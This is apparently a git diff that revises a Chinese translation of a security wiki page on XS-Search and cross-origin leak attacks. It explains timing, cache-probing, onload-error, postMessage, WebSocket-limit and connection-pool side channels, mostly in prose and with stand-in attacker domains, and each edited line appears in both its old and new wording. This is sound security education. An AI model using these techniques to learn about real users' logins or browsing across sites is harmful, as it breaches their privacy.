此外,可以通过利用链接的渲染时间来实现无用户交互的检测。由于浏览器可能以不同方式渲染已访问和未访问的链接,这可能在渲染中引入可测量的时间差异。在 Chromium 的一个错误报告中提到了一种概念验证(PoC),演示了使用多个链接来放大时间差异,从而通过时间分析使访问状态可检测。
|
||||
|
||||
有关这些属性和方法的更多详细信息,请访问其文档页面:
|
||||
|
||||
- `:visited`: [MDN Documentation](https://developer.mozilla.org/en-US/docs/Web/CSS/:visited)
|
||||
- `getComputedStyle()`: [MDN Documentation](https://developer.mozilla.org/en-US/docs/Web/API/Window/getComputedStyle)
|
||||
- `mix-blend-mode`: [MDN Documentation](https://developer.mozilla.org/en-US/docs/Web/CSS/mix-blend-mode)
|
||||
- `:visited`: [MDN 文档](https://developer.mozilla.org/en-US/docs/Web/CSS/:visited)
|
||||
- `getComputedStyle()`: [MDN 文档](https://developer.mozilla.org/en-US/docs/Web/API/Window/getComputedStyle)
|
||||
- `mix-blend-mode`: [MDN 文档](https://developer.mozilla.org/en-US/docs/Web/CSS/mix-blend-mode)
|
||||
|
||||
### ContentDocument X-Frame Leak
|
||||
|
||||
@ -733,7 +733,7 @@ CSS `:visited` 选择器用于对用户之前访问过的 URL 进行不同的样
|
||||
- **Summary:** 在 Google Chrome 中,当由于 X-Frame-Options 限制而阻止页面嵌入到跨域站点时,会显示专用错误页面。
|
||||
- **Code Example**: [https://xsinator.com/testing.html#ContentDocument%20X-Frame%20Leak](https://xsinator.com/testing.html#ContentDocument%20X-Frame%20Leak)
|
||||
|
||||
在 Chrome 中,如果带有 `X-Frame-Options` 头设置为 "deny" 或 "same-origin" 的页面作为对象嵌入,则会出现错误页面。Chrome 独特地为该对象的 `contentDocument` 属性返回一个空文档对象(而不是 `null`),与 iframe 或其他浏览器不同。攻击者可以通过检测空文档来利用这一点,可能揭示用户状态的信息,特别是如果开发人员不一致地设置 X-Frame-Options 头,通常会忽略错误页面。意识到并一致应用安全头对于防止此类泄露至关重要。
|
||||
在 Chrome 中,如果一个带有 `X-Frame-Options` 头设置为 "deny" 或 "same-origin" 的页面作为对象嵌入,则会出现错误页面。Chrome 独特地为该对象的 `contentDocument` 属性返回一个空文档对象(而不是 `null`),这与在 iframe 或其他浏览器中的表现不同。攻击者可以通过检测空文档来利用这一点,可能揭示有关用户状态的信息,特别是如果开发人员不一致地设置 X-Frame-Options 头,通常会忽略错误页面。意识到并一致应用安全头对于防止此类泄露至关重要。
|
||||
|
||||
### Download Detection
|
||||
|
||||
@ -766,13 +766,13 @@ CSS `:visited` 选择器用于对用户之前访问过的 URL 进行不同的样
|
||||
- **Code Example**: [https://xsleaks.dev/docs/attacks/navigations/#partitioned-http-cache-bypass](https://xsleaks.dev/docs/attacks/navigations/#partitioned-http-cache-bypass), [https://gist.github.com/aszx87410/e369f595edbd0f25ada61a8eb6325722](https://gist.github.com/aszx87410/e369f595edbd0f25ada61a8eb6325722) (来自 [https://blog.huli.tw/2022/05/05/en/angstrom-ctf-2022-writeup-en/](https://blog.huli.tw/2022/05/05/en/angstrom-ctf-2022-writeup-en/))
|
||||
|
||||
> [!WARNING]
|
||||
> 这就是为什么这个技术有趣的原因:Chrome 现在有 **缓存分区**,新打开页面的缓存键是:`(https://actf.co, https://actf.co, https://sustenance.web.actf.co/?m =xxx)`,但如果我打开一个 ngrok 页面并在其中使用 fetch,缓存键将是:`(https://myip.ngrok.io, https://myip.ngrok.io, https://sustenance.web.actf.co/?m=xxx)`,**缓存键是不同的**,因此缓存不能共享。您可以在这里找到更多细节:[通过分区缓存获得安全性和隐私](https://developer.chrome.com/blog/http-cache-partitioning/)\
|
||||
> 这就是为什么这个技术很有趣:Chrome 现在有 **缓存分区**,新打开页面的缓存键是:`(https://actf.co, https://actf.co, https://sustenance.web.actf.co/?m =xxx)`,但是如果我打开一个 ngrok 页面并在其中使用 fetch,缓存键将是:`(https://myip.ngrok.io, https://myip.ngrok.io, https://sustenance.web.actf.co/?m=xxx)`,**缓存键是不同的**,因此缓存不能共享。您可以在这里找到更多细节:[通过分区缓存获得安全性和隐私](https://developer.chrome.com/blog/http-cache-partitioning/)\
|
||||
> (来自 [**这里**](https://blog.huli.tw/2022/05/05/en/angstrom-ctf-2022-writeup-en/) 的评论)
|
||||
|
||||
如果一个站点 `example.com` 包含来自 `*.example.com/resource` 的资源,那么该资源将具有与通过顶级导航直接请求该资源时 **相同的缓存键**。这是因为缓存键由顶级 _eTLD+1_ 和框架 _eTLD+1_ 组成。
|
||||
|
||||
因为访问缓存比加载资源更快,所以可以尝试更改页面的位置并在 20 毫秒(例如)后取消它。如果在停止后更改了源,则意味着资源已被缓存。\
|
||||
或者可以 **发送一些 fetch 到潜在缓存页面并测量所需时间**。
|
||||
或者可以 **发送一些 fetch 到可能被缓存的页面并测量所需时间**。
|
||||
|
||||
### Manual Redirect <a href="#fetch-with-abortcontroller" id="fetch-with-abortcontroller"></a>
|
||||
|
||||
@ -789,7 +789,7 @@ CSS `:visited` 选择器用于对用户之前访问过的 URL 进行不同的样
|
||||
- **Inclusion Methods**: Fetch API
|
||||
- **Detectable Difference**: Timing
|
||||
- **More info**: [https://xsleaks.dev/docs/attacks/cache-probing/#fetch-with-abortcontroller](https://xsleaks.dev/docs/attacks/cache-probing/#fetch-with-abortcontroller)
|
||||
- **Summary:** 可以尝试加载资源并在加载之前中断加载。根据是否触发错误,资源可能已被缓存或未被缓存。
|
||||
- **Summary:** 可以尝试加载资源,并在加载之前中断加载。根据是否触发错误,资源可能已被缓存或未被缓存。
|
||||
- **Code Example**: [https://xsleaks.dev/docs/attacks/cache-probing/#fetch-with-abortcontroller](https://xsleaks.dev/docs/attacks/cache-probing/#fetch-with-abortcontroller)
|
||||
|
||||
使用 _**fetch**_ 和 _**setTimeout**_ 结合 **AbortController** 来检测 **资源是否被缓存** 并将特定资源从浏览器缓存中驱逐。此外,该过程在不缓存新内容的情况下进行。
|
||||
@ -810,9 +810,9 @@ CSS `:visited` 选择器用于对用户之前访问过的 URL 进行不同的样
|
||||
- **Summary:** 测量使用服务工作者的网页的执行时间。
|
||||
- **Code Example**:
|
||||
|
||||
在给定的场景中,攻击者主动在其域之一(特别是 "attacker.com")中注册一个 **服务工作者**。接下来,攻击者从主文档中在目标网站打开一个新窗口,并指示 **服务工作者** 开始计时器。当新窗口开始加载时,攻击者将前一步获得的引用导航到由 **服务工作者** 管理的页面。
|
||||
在给定的场景中,攻击者主动在其域之一(特别是 "attacker.com")中注册一个 **服务工作者**。接下来,攻击者从主文档中在目标网站打开一个新窗口,并指示 **服务工作者** 开始计时。当新窗口开始加载时,攻击者将前一步获得的引用导航到由 **服务工作者** 管理的页面。
|
||||
|
||||
在前一步发起的请求到达时,**服务工作者** 以 **204 (No Content)** 状态码响应,有效地终止导航过程。此时,**服务工作者** 捕获从第二步开始的计时器的测量。该测量受 JavaScript 导致的导航过程延迟的影响。
|
||||
在前一步发起的请求到达时,**服务工作者** 以 **204 (No Content)** 状态码响应,有效地终止导航过程。此时,**服务工作者** 捕获了在第二步中启动的计时器的测量。该测量受 JavaScript 导致的导航过程延迟的影响。
|
||||
|
||||
> [!WARNING]
|
||||
> 在执行计时中,可以 **消除** **网络因素** 以获得 **更精确的测量**。例如,通过在加载页面之前加载页面使用的资源。
|
||||
@ -846,9 +846,9 @@ dangling-markup-html-scriptless-injection/
|
||||
### Image Lazy Loading
|
||||
|
||||
如果您需要 **提取内容** 并且可以 **在秘密之前添加 HTML**,您应该检查 **常见的悬挂标记技术**。\
|
||||
但是,如果由于某种原因您 **必须** 逐个字符地进行(也许通信是通过缓存命中),您可以使用这个技巧。
|
||||
但是,如果出于某种原因您 **必须** 逐个字符地进行(也许通信是通过缓存命中),您可以使用这个技巧。
|
||||
|
||||
**HTML 中的图像** 有一个 "**loading**" 属性,其值可以是 "**lazy**"。在这种情况下,图像将在查看时加载,而不是在页面加载时:
|
||||
**图像** 在 HTML 中具有一个 "**loading**" 属性,其值可以是 "**lazy**"。在这种情况下,图像将在查看时加载,而不是在页面加载时:
|
||||
```html
|
||||
<img src=/something loading=lazy >
|
||||
```
|
||||
|
||||
@ -10,7 +10,7 @@ XS-Search 是一种通过利用 **侧信道漏洞** 来 **提取跨源信息**
|
||||
|
||||
- **易受攻击的网页**:目标网站,信息旨在从中提取。
|
||||
- **攻击者的网页**:攻击者创建的恶意网站,受害者访问,托管漏洞。
|
||||
- **包含方法**:用于将易受攻击的网页纳入攻击者网页的技术(例如,window.open、iframe、fetch、带有 href 的 HTML 标签等)。
|
||||
- **包含方法**:用于将易受攻击的网页纳入攻击者网页的技术(例如,window.open、iframe、fetch、带 href 的 HTML 标签等)。
|
||||
- **泄漏技术**:用于根据通过包含方法收集的信息来辨别易受攻击网页状态差异的技术。
|
||||
- **状态**:易受攻击网页的两种潜在条件,攻击者旨在区分。
|
||||
- **可检测差异**:攻击者依赖于的可观察变化,以推断易受攻击网页的状态。
|
||||
@ -19,10 +19,10 @@ XS-Search 是一种通过利用 **侧信道漏洞** 来 **提取跨源信息**
|
||||
|
||||
可以分析多个方面以区分易受攻击网页的状态:
|
||||
|
||||
- **状态码**:区分 **各种 HTTP 响应状态码** 跨源,如服务器错误、客户端错误或身份验证错误。
|
||||
- **状态码**:区分 **各种跨源 HTTP 响应状态码**,如服务器错误、客户端错误或身份验证错误。
|
||||
- **API 使用**:识别跨页面的 **Web API 使用情况**,揭示跨源页面是否使用特定的 JavaScript Web API。
|
||||
- **重定向**:检测导航到不同页面,不仅仅是 HTTP 重定向,还有由 JavaScript 或 HTML 触发的重定向。
|
||||
- **页面内容**:观察 **HTTP 响应体中的变化** 或页面子资源中的变化,例如 **嵌入框架的数量** 或图像的大小差异。
|
||||
- **重定向**:检测导航到不同页面,不仅是 HTTP 重定向,还有由 JavaScript 或 HTML 触发的重定向。
|
||||
- **页面内容**:观察 **HTTP 响应体中的变化** 或页面子资源中的变化,例如 **嵌入框的数量** 或图像的大小差异。
|
||||
- **HTTP 头**:注意 **特定 HTTP 响应头** 的存在或可能的值,包括 X-Frame-Options、Content-Disposition 和 Cross-Origin-Resource-Policy 等头。
|
||||
- **时间**:注意两个状态之间的一致时间差异。
|
||||
|
||||
@ -30,7 +30,7 @@ XS-Search 是一种通过利用 **侧信道漏洞** 来 **提取跨源信息**
|
||||
|
||||
- **HTML 元素**:HTML 提供多种元素用于 **跨源资源包含**,如样式表、图像或脚本,迫使浏览器请求非 HTML 资源。可以在 [https://github.com/cure53/HTTPLeaks](https://github.com/cure53/HTTPLeaks) 找到此目的的潜在 HTML 元素的汇编。
|
||||
- **框架**:如 **iframe**、**object** 和 **embed** 的元素可以将 HTML 资源直接嵌入攻击者的页面。如果页面 **缺乏框架保护**,JavaScript 可以通过 contentWindow 属性访问框架资源的窗口对象。
|
||||
- **弹出窗口**:**`window.open`** 方法在新标签或窗口中打开资源,为 JavaScript 提供 **窗口句柄** 以与遵循 SOP 的方法和属性进行交互。弹出窗口通常用于单点登录,绕过目标资源的框架和 cookie 限制。然而,现代浏览器限制弹出窗口的创建仅限于某些用户操作。
|
||||
- **弹出窗口**:**`window.open`** 方法在新标签或窗口中打开资源,为 JavaScript 提供 **窗口句柄** 以与遵循 SOP 的方法和属性进行交互。弹出窗口通常用于单点登录,绕过目标资源的框架和 cookie 限制。然而,现代浏览器限制弹出窗口的创建,仅限于某些用户操作。
|
||||
- **JavaScript 请求**:JavaScript 允许使用 **XMLHttpRequests** 或 **Fetch API** 直接请求目标资源。这些方法提供对请求的精确控制,例如选择跟随 HTTP 重定向。
|
||||
|
||||
### 泄漏技术
|
||||
@ -39,17 +39,17 @@ XS-Search 是一种通过利用 **侧信道漏洞** 来 **提取跨源信息**
|
||||
- **错误消息**:JavaScript 异常或特殊错误页面可以直接从错误消息中提供泄漏信息,或通过区分其存在与否来提供信息。
|
||||
- **全局限制**:浏览器的物理限制,如内存容量或其他强制的浏览器限制,可以在达到阈值时发出信号,作为泄漏技术。
|
||||
- **全局状态**:可检测的与浏览器 **全局状态**(例如,历史接口)的交互可以被利用。例如,浏览器历史中的 **条目数量** 可以提供有关跨源页面的线索。
|
||||
- **性能 API**:此 API 提供 **当前页面的性能细节**,包括文档和加载资源的网络时序,使得对请求资源的推断成为可能。
|
||||
- **性能 API**:此 API 提供 **当前页面的性能细节**,包括文档和加载资源的网络时序,能够推断请求的资源。
|
||||
- **可读属性**:某些 HTML 属性是 **跨源可读的**,可以用作泄漏技术。例如,`window.frame.length` 属性允许 JavaScript 计算跨源网页中包含的框架数量。
|
||||
|
||||
## XSinator 工具与论文
|
||||
|
||||
XSinator 是一个自动化工具,用于 **检查浏览器是否存在多种已知的 XS-Leaks**,详见其论文:[**https://xsinator.com/paper.pdf**](https://xsinator.com/paper.pdf)
|
||||
XSinator 是一个自动工具,用于 **检查浏览器是否存在多种已知的 XS-Leaks**,详见其论文:[**https://xsinator.com/paper.pdf**](https://xsinator.com/paper.pdf)
|
||||
|
||||
您可以 **访问该工具** [**https://xsinator.com/**](https://xsinator.com/)
|
||||
|
||||
> [!WARNING]
|
||||
> **排除的 XS-Leaks**:我们不得不排除依赖于 **服务工作者** 的 XS-Leaks,因为它们会干扰 XSinator 中的其他泄漏。此外,我们选择 **排除依赖于特定 Web 应用程序中的错误配置和漏洞的 XS-Leaks**。例如,跨源资源共享(CORS)错误配置、postMessage 泄漏或跨站脚本。此外,我们还排除了基于时间的 XS-Leaks,因为它们通常存在缓慢、嘈杂和不准确的问题。
|
||||
> **排除的 XS-Leaks**:我们不得不排除依赖 **服务工作者** 的 XS-Leaks,因为它们会干扰 XSinator 中的其他泄漏。此外,我们选择 **排除依赖特定 Web 应用程序中的错误配置和漏洞的 XS-Leaks**。例如,跨源资源共享(CORS)错误配置、postMessage 泄漏或跨站脚本。此外,我们还排除了基于时间的 XS-Leaks,因为它们通常存在缓慢、嘈杂和不准确的问题。
|
||||
|
||||
## **基于时间的技术**
|
||||
|
||||
@ -131,28 +131,28 @@ performance.now-+-force-heavy-task.md
|
||||
- **包含方法**: Frames
|
||||
- **可检测差异**: 页面内容
|
||||
- **更多信息**:
|
||||
- **总结**: 如果你可以在访问正确内容时使页面出错,并在访问任何内容时使其正确加载,那么你可以创建一个循环来提取所有信息,而无需测量时间。
|
||||
- **总结**: 如果您可以在访问正确内容时使页面出错,并在访问任何内容时使其正确加载,那么您可以创建一个循环来提取所有信息,而无需测量时间。
|
||||
- **代码示例**:
|
||||
|
||||
假设你可以**插入**包含**秘密**内容的**页面****在一个 Iframe** 中。
|
||||
假设您可以**插入**包含**秘密**内容的**页面****在一个 Iframe** 中。
|
||||
|
||||
你可以**让受害者搜索**包含“_**flag**_”的文件,使用**Iframe**(例如利用 CSRF)。在 Iframe 内,你知道 _**onload 事件**_ 将**至少执行一次**。然后,你可以**更改** **iframe** 的**URL**,但只更改**URL**中**hash**的**内容**。
|
||||
您可以**让受害者搜索**包含“_**flag**_”的文件,使用**Iframe**(例如利用 CSRF)。在 Iframe 内,您知道 _**onload 事件**_ 将**至少执行一次**。然后,您可以**更改** **iframe** 的 **URL**,但仅更改 **URL** 中 **hash** 的 **内容**。
|
||||
|
||||
例如:
|
||||
|
||||
1. **URL1**: www.attacker.com/xssearch#try1
|
||||
2. **URL2**: www.attacker.com/xssearch#try2
|
||||
|
||||
如果第一个 URL **成功加载**,那么,当**更改** URL 的**hash**部分时,**onload**事件**不会再次触发**。但**如果**页面在**加载**时出现某种**错误**,那么,**onload**事件将**再次触发**。
|
||||
如果第一个 URL **成功加载**,那么,当**更改** URL 的 **hash** 部分时,**onload** 事件**不会再次触发**。但是**如果**页面在**加载**时出现某种**错误**,那么,**onload** 事件将**再次触发**。
|
||||
|
||||
然后,你可以**区分**一个**正确**加载的页面或在访问时有**错误**的页面。
|
||||
然后,您可以**区分**一个**正确**加载的页面或访问时有**错误**的页面。
|
||||
|
||||
### Javascript 执行
|
||||
|
||||
- **包含方法**: Frames
|
||||
- **可检测差异**: 页面内容
|
||||
- **更多信息**:
|
||||
- **总结**: 如果**页面**返回**敏感**内容,**或**用户可以**控制**的**内容**。用户可以在**负面情况下**设置**有效的 JS 代码**,并在每次尝试中**加载**在**`<script>`**标签内,因此在**负面**情况下攻击者的**代码**被**执行**,而在**肯定**情况下**什么**都不会被执行。
|
||||
- **总结**: 如果**页面**返回**敏感**内容,**或**用户可以**控制**的**内容**。用户可以在**负面情况下**设置**有效的 JS 代码**,并在每次尝试中**加载**在 **`<script>`** 标签内,因此在**负面**情况下攻击者的**代码**被**执行**,而在**肯定**情况下**什么**都不会被执行。
|
||||
- **代码示例**:
|
||||
|
||||
{{#ref}}
|
||||
@ -164,7 +164,7 @@ javascript-execution-xs-leak.md
|
||||
- **包含方法**: HTML 元素
|
||||
- **可检测差异**: 状态码 & 头部
|
||||
- **更多信息**: [https://xsleaks.dev/docs/attacks/browser-features/corb/](https://xsleaks.dev/docs/attacks/browser-features/corb/)
|
||||
- **总结**: **跨源读取阻止 (CORB)** 是一种安全措施,防止网页加载某些敏感的跨源资源,以保护免受**Spectre**等攻击。然而,攻击者可以利用其保护行为。当受**CORB**保护的响应返回带有 `nosniff` 的 _**CORB 保护**_ `Content-Type` 和 `2xx` 状态码时,**CORB** 会剥离响应的主体和头部。观察到这一点的攻击者可以推断出**状态码**(指示成功或错误)和 `Content-Type`(表示是否受到**CORB**保护)的组合,从而导致潜在的信息泄露。
|
||||
- **总结**: **跨源读取阻止 (CORB)** 是一种安全措施,防止网页加载某些敏感的跨源资源,以保护免受**Spectre**等攻击。然而,攻击者可以利用其保护行为。当受**CORB**保护的响应返回带有 `nosniff` 的 _**CORB 保护**_ `Content-Type` 和 `2xx` 状态码时,**CORB** 会剥离响应的主体和头部。观察到这一点的攻击者可以推断出**状态码**(指示成功或错误)和 `Content-Type`(表示是否受**CORB**保护)的组合,从而导致潜在的信息泄露。
|
||||
- **代码示例**:
|
||||
|
||||
查看更多信息链接以获取有关攻击的更多信息。
|
||||
@ -177,18 +177,18 @@ javascript-execution-xs-leak.md
|
||||
- **总结**: 从 id 或 name 属性泄露敏感数据。
|
||||
- **代码示例**: [https://xsleaks.dev/docs/attacks/id-attribute/#code-snippet](https://xsleaks.dev/docs/attacks/id-attribute/#code-snippet)
|
||||
|
||||
可以**在一个 iframe 中加载一个页面**,并使用**`#id_value`**使页面**聚焦于**指定的 iframe 元素,如果触发了**`onblur`**信号,则 ID 元素存在。\
|
||||
你可以使用**`portal`**标签执行相同的攻击。
|
||||
可以**在一个 iframe 中加载一个页面**并使用 **`#id_value`** 使页面**聚焦于**指定的 iframe 元素,如果触发了 **`onblur`** 信号,则 ID 元素存在。\
|
||||
您可以使用 **`portal`** 标签执行相同的攻击。
|
||||
|
||||
### postMessage 广播 <a href="#postmessage-broadcasts" id="postmessage-broadcasts"></a>
|
||||
|
||||
- **包含方法**: Frames, Pop-ups
|
||||
- **可检测差异**: API 使用
|
||||
- **更多信息**: [https://xsleaks.dev/docs/attacks/postmessage-broadcasts/](https://xsleaks.dev/docs/attacks/postmessage-broadcasts/)
|
||||
- **总结**: 从 postMessage 收集敏感信息,或使用 postMessages 的存在作为一个神谕,以了解用户在页面上的状态
|
||||
- **总结**: 从 postMessage 收集敏感信息或使用 postMessages 的存在作为一个神谕,以了解用户在页面上的状态
|
||||
- **代码示例**: `任何监听所有 postMessages 的代码。`
|
||||
|
||||
应用程序经常利用 [`postMessage` 广播](https://developer.mozilla.org/en-US/docs/Web/API/Window/postMessage) 在不同源之间进行通信。然而,如果 `targetOrigin` 参数未正确指定,这种方法可能会无意中暴露**敏感信息**,允许任何窗口接收消息。此外,接收消息的行为本身可以充当一个**神谕**;例如,某些消息可能仅发送给已登录的用户。因此,这些消息的存在或缺失可以揭示有关用户状态或身份的信息,例如他们是否经过身份验证。
|
||||
应用程序经常利用 [`postMessage` 广播](https://developer.mozilla.org/en-US/docs/Web/API/Window/postMessage) 在不同源之间进行通信。然而,如果 `targetOrigin` 参数未正确指定,此方法可能会无意中暴露**敏感信息**,允许任何窗口接收消息。此外,接收消息的行为本身可以充当一个**神谕**;例如,某些消息可能仅发送给已登录的用户。因此,这些消息的存在或缺失可以揭示有关用户状态或身份的信息,例如他们是否经过身份验证。
|
||||
|
||||
## 全局限制技术
|
||||
|
||||
@ -202,7 +202,7 @@ javascript-execution-xs-leak.md
|
||||
|
||||
可以识别目标页面使用了多少个**WebSocket 连接**。这使攻击者能够检测应用程序状态并泄露与 WebSocket 连接数量相关的信息。
|
||||
|
||||
如果一个**源**使用了**最大数量的 WebSocket**连接对象,无论其连接状态如何,创建**新对象将导致 JavaScript 异常**。要执行此攻击,攻击者网站在弹出窗口或 iframe 中打开目标网站,然后,在目标网页加载后,尝试创建尽可能多的 WebSocket 连接。**抛出的异常数量**就是**目标网站**窗口使用的**WebSocket 连接数量**。
|
||||
如果一个**源**使用了**最大数量的 WebSocket** 连接对象,无论其连接状态如何,创建**新对象将导致 JavaScript 异常**。要执行此攻击,攻击者网站在弹出窗口或 iframe 中打开目标网站,然后,在目标网页加载后,尝试创建尽可能多的 WebSocket 连接。**抛出的异常数量**就是**目标网站**窗口使用的**WebSocket 连接数量**。
|
||||
|
||||
### 支付 API
|
||||
|
||||
@ -216,10 +216,10 @@ javascript-execution-xs-leak.md
|
||||
|
||||
因为**一次只能有一个支付请求处于活动状态**,如果目标网站使用支付请求 API,任何进一步尝试使用此 API 将失败,并导致**JavaScript 异常**。攻击者可以通过**定期尝试显示支付 API UI**来利用这一点。如果一次尝试导致异常,则目标网站当前正在使用它。攻击者可以通过在创建后立即关闭 UI 来隐藏这些定期尝试。
|
||||
|
||||
### 事件循环计时 <a href="#timing-the-event-loop" id="timing-the-event-loop"></a>
|
||||
### 计时事件循环 <a href="#timing-the-event-loop" id="timing-the-event-loop"></a>
|
||||
|
||||
- **包含方法**:
|
||||
- **可检测差异**: 时间(通常由于页面内容、状态码)
|
||||
- **可检测差异**: 计时(通常由于页面内容、状态码)
|
||||
- **更多信息**: [https://xsleaks.dev/docs/attacks/timing-attacks/execution-timing/#timing-the-event-loop](https://xsleaks.dev/docs/attacks/timing-attacks/execution-timing/#timing-the-event-loop)
|
||||
- **总结**: 测量一个网页的执行时间,利用单线程的 JS 事件循环。
|
||||
- **代码示例**:
|
||||
@ -228,7 +228,7 @@ javascript-execution-xs-leak.md
|
||||
event-loop-blocking-+-lazy-images.md
|
||||
{{#endref}}
|
||||
|
||||
JavaScript 在 [单线程事件循环](https://developer.mozilla.org/en-US/docs/Web/JavaScript/EventLoop) 并发模型上运行,这意味着**它一次只能执行一个任务**。这一特性可以被利用来评估**来自不同源的代码执行所需的时间**。攻击者可以通过不断调度具有固定属性的事件来测量其在事件循环中的执行时间。这些事件将在事件池为空时被处理。如果其他源也在向同一池调度事件,攻击者可以通过观察自己任务执行的延迟来推断这些外部事件的执行时间。这种监控事件循环延迟的方法可以揭示来自不同源的代码的执行时间,可能暴露敏感信息。
|
||||
JavaScript 在 [单线程事件循环](https://developer.mozilla.org/en-US/docs/Web/JavaScript/EventLoop) 并发模型上运行,这意味着**它一次只能执行一个任务**。这一特性可以被利用来评估**来自不同源的代码执行所需的时间**。攻击者可以通过不断调度具有固定属性的事件来测量其代码在事件循环中的执行时间。这些事件将在事件池为空时被处理。如果其他源也在向同一池调度事件,攻击者可以通过观察自己任务执行的延迟来推断这些外部事件的执行时间。这种监控事件循环延迟的方法可以揭示来自不同源的代码的执行时间,可能暴露敏感信息。
|
||||
|
||||
> [!WARNING]
|
||||
> 在执行计时中,可以**消除** **网络因素**以获得**更精确的测量**。例如,通过在加载页面之前加载所使用的资源。
|
||||
@ -236,12 +236,12 @@ JavaScript 在 [单线程事件循环](https://developer.mozilla.org/en-US/docs/
|
||||
### 忙碌事件循环 <a href="#busy-event-loop" id="busy-event-loop"></a>
|
||||
|
||||
- **包含方法**:
|
||||
- **可检测差异**: 时间(通常由于页面内容、状态码)
|
||||
- **可检测差异**: 计时(通常由于页面内容、状态码)
|
||||
- **更多信息**: [https://xsleaks.dev/docs/attacks/timing-attacks/execution-timing/#busy-event-loop](https://xsleaks.dev/docs/attacks/timing-attacks/execution-timing/#busy-event-loop)
|
||||
- **总结**: 测量网页操作执行时间的一种方法是故意阻塞线程的事件循环,然后计时**事件循环再次可用所需的时间**。通过在事件循环中插入一个阻塞操作(例如长时间计算或同步 API 调用),并监控后续代码开始执行所需的时间,可以推断出在阻塞期间事件循环中执行的任务的持续时间。这一技术利用了 JavaScript 事件循环的单线程特性,其中任务是顺序执行的,可以提供对共享同一线程的其他操作的性能或行为的洞察。
|
||||
- **总结**: 测量网页操作执行时间的一种方法是故意阻塞线程的事件循环,然后计时**事件循环再次可用所需的时间**。通过在事件循环中插入一个阻塞操作(例如长时间计算或同步 API 调用),并监控后续代码开始执行所需的时间,可以推断出在阻塞期间事件循环中执行的任务的持续时间。这种技术利用了 JavaScript 事件循环的单线程特性,其中任务是顺序执行的,并且可以提供对共享同一线程的其他操作的性能或行为的洞察。
|
||||
- **代码示例**:
|
||||
|
||||
通过锁定事件循环来测量执行时间的技术的一个显著优势是其潜在的绕过**站点隔离**。**站点隔离**是一种安全特性,将不同网站分隔到不同的进程中,旨在防止恶意网站直接访问其他网站的敏感数据。然而,通过影响通过共享事件循环的另一个源的执行时机,攻击者可以间接提取有关该源活动的信息。这种方法不依赖于直接访问另一个源的数据,而是观察该源活动对共享事件循环的影响,从而规避**站点隔离**建立的保护屏障。
|
||||
通过锁定事件循环来测量执行时间的技术的一个显著优势是其潜在的规避**站点隔离**。**站点隔离**是一种安全功能,将不同网站分隔到不同的进程中,旨在防止恶意网站直接访问其他网站的敏感数据。然而,通过通过共享事件循环影响另一个源的执行时机,攻击者可以间接提取有关该源活动的信息。这种方法不依赖于直接访问其他源的数据,而是观察该源活动对共享事件循环的影响,从而规避**站点隔离**建立的保护屏障。
|
||||
|
||||
> [!WARNING]
|
||||
> 在执行计时中,可以**消除** **网络因素**以获得**更精确的测量**。例如,通过在加载页面之前加载所使用的资源。
|
||||
@ -249,7 +249,7 @@ JavaScript 在 [单线程事件循环](https://developer.mozilla.org/en-US/docs/
|
||||
### 连接池
|
||||
|
||||
- **包含方法**: JavaScript 请求
|
||||
- **可检测差异**: 时间(通常由于页面内容、状态码)
|
||||
- **可检测差异**: 计时(通常由于页面内容、状态码)
|
||||
- **更多信息**: [https://xsleaks.dev/docs/attacks/timing-attacks/connection-pool/](https://xsleaks.dev/docs/attacks/timing-attacks/connection-pool/)
|
||||
- **总结**: 攻击者可以锁定所有插座,除了 1 个,加载目标网页,同时加载另一个页面,直到最后一个页面开始加载的时间就是目标页面加载所需的时间。
|
||||
- **代码示例**:
|
||||
@ -263,24 +263,24 @@ connection-pool-example.md
|
||||
1. 确定浏览器的插座限制,例如,256 个全局插座。
|
||||
2. 通过向不同主机发起 255 个请求,长时间占用 255 个插座,旨在保持连接开放而不完成。
|
||||
3. 使用第 256 个插座向目标页面发送请求。
|
||||
4. 尝试向不同主机发起第 257 个请求。由于所有插座都在使用中(根据步骤 2 和 3),此请求将被排队,直到有插座可用。此请求进行之前的延迟为攻击者提供了与第 256 个插座(目标页面的插座)相关的网络活动的时间信息。这一推断是可能的,因为步骤 2 中的 255 个插座仍在使用,这意味着任何新可用的插座必须是从步骤 3 中释放的。第 256 个插座变得可用所需的时间因此直接与请求目标页面完成所需的时间相关联。
|
||||
4. 尝试向不同主机发起第 257 个请求。由于所有插座都在使用中(根据步骤 2 和 3),此请求将被排队,直到插座可用。此请求进行之前的延迟为攻击者提供了与第 256 个插座(目标页面的插座)相关的网络活动的计时信息。这种推断是可能的,因为步骤 2 中的 255 个插座仍在使用,这意味着任何新可用的插座必须是从步骤 3 中释放的。第 256 个插座变得可用所需的时间因此直接与请求完成所需的时间相关联。
|
||||
|
||||
更多信息请参见: [https://xsleaks.dev/docs/attacks/timing-attacks/connection-pool/](https://xsleaks.dev/docs/attacks/timing-attacks/connection-pool/)
|
||||
有关更多信息: [https://xsleaks.dev/docs/attacks/timing-attacks/connection-pool/](https://xsleaks.dev/docs/attacks/timing-attacks/connection-pool/)
|
||||
|
||||
### 按目标的连接池
|
||||
|
||||
- **包含方法**: JavaScript 请求
|
||||
- **可检测差异**: 时间(通常由于页面内容、状态码)
|
||||
- **可检测差异**: 计时(通常由于页面内容、状态码)
|
||||
- **更多信息**:
|
||||
- **总结**: 这与前面的技术类似,但 Google **Chrome** 对**同一源的并发请求**限制为**6 个**。如果我们**阻塞 5 个**,然后**发起第 6 个**请求,我们可以**计时**,如果我们设法让**受害者页面发送**更多**请求**到同一端点以检测页面的**状态**,第 **6 个请求**将需要**更长时间**,我们可以检测到它。
|
||||
- **总结**: 这与前一种技术类似,但 Google **Chrome** 对**同一源的并发请求**设置了**6 个限制**。如果我们**阻塞 5 个**,然后**发起第 6 个**请求,我们可以**计时**,如果我们设法让**受害者页面发送**更多**请求**到同一端点以检测页面的**状态**,第 **6 个请求**将需要**更长时间**,我们可以检测到。
|
||||
|
||||
## 性能 API 技术
|
||||
|
||||
[`性能 API`](https://developer.mozilla.org/en-US/docs/Web/API/Performance) 提供了对 Web 应用程序性能指标的洞察,进一步通过 [`资源计时 API`](https://developer.mozilla.org/en-US/docs/Web/API/Resource_Timing_API) 得到增强。资源计时 API 使监控详细的网络请求时序成为可能,例如请求的持续时间。值得注意的是,当服务器在其响应中包含 `Timing-Allow-Origin: *` 头时,诸如传输大小和域查找时间等额外数据将变得可用。
|
||||
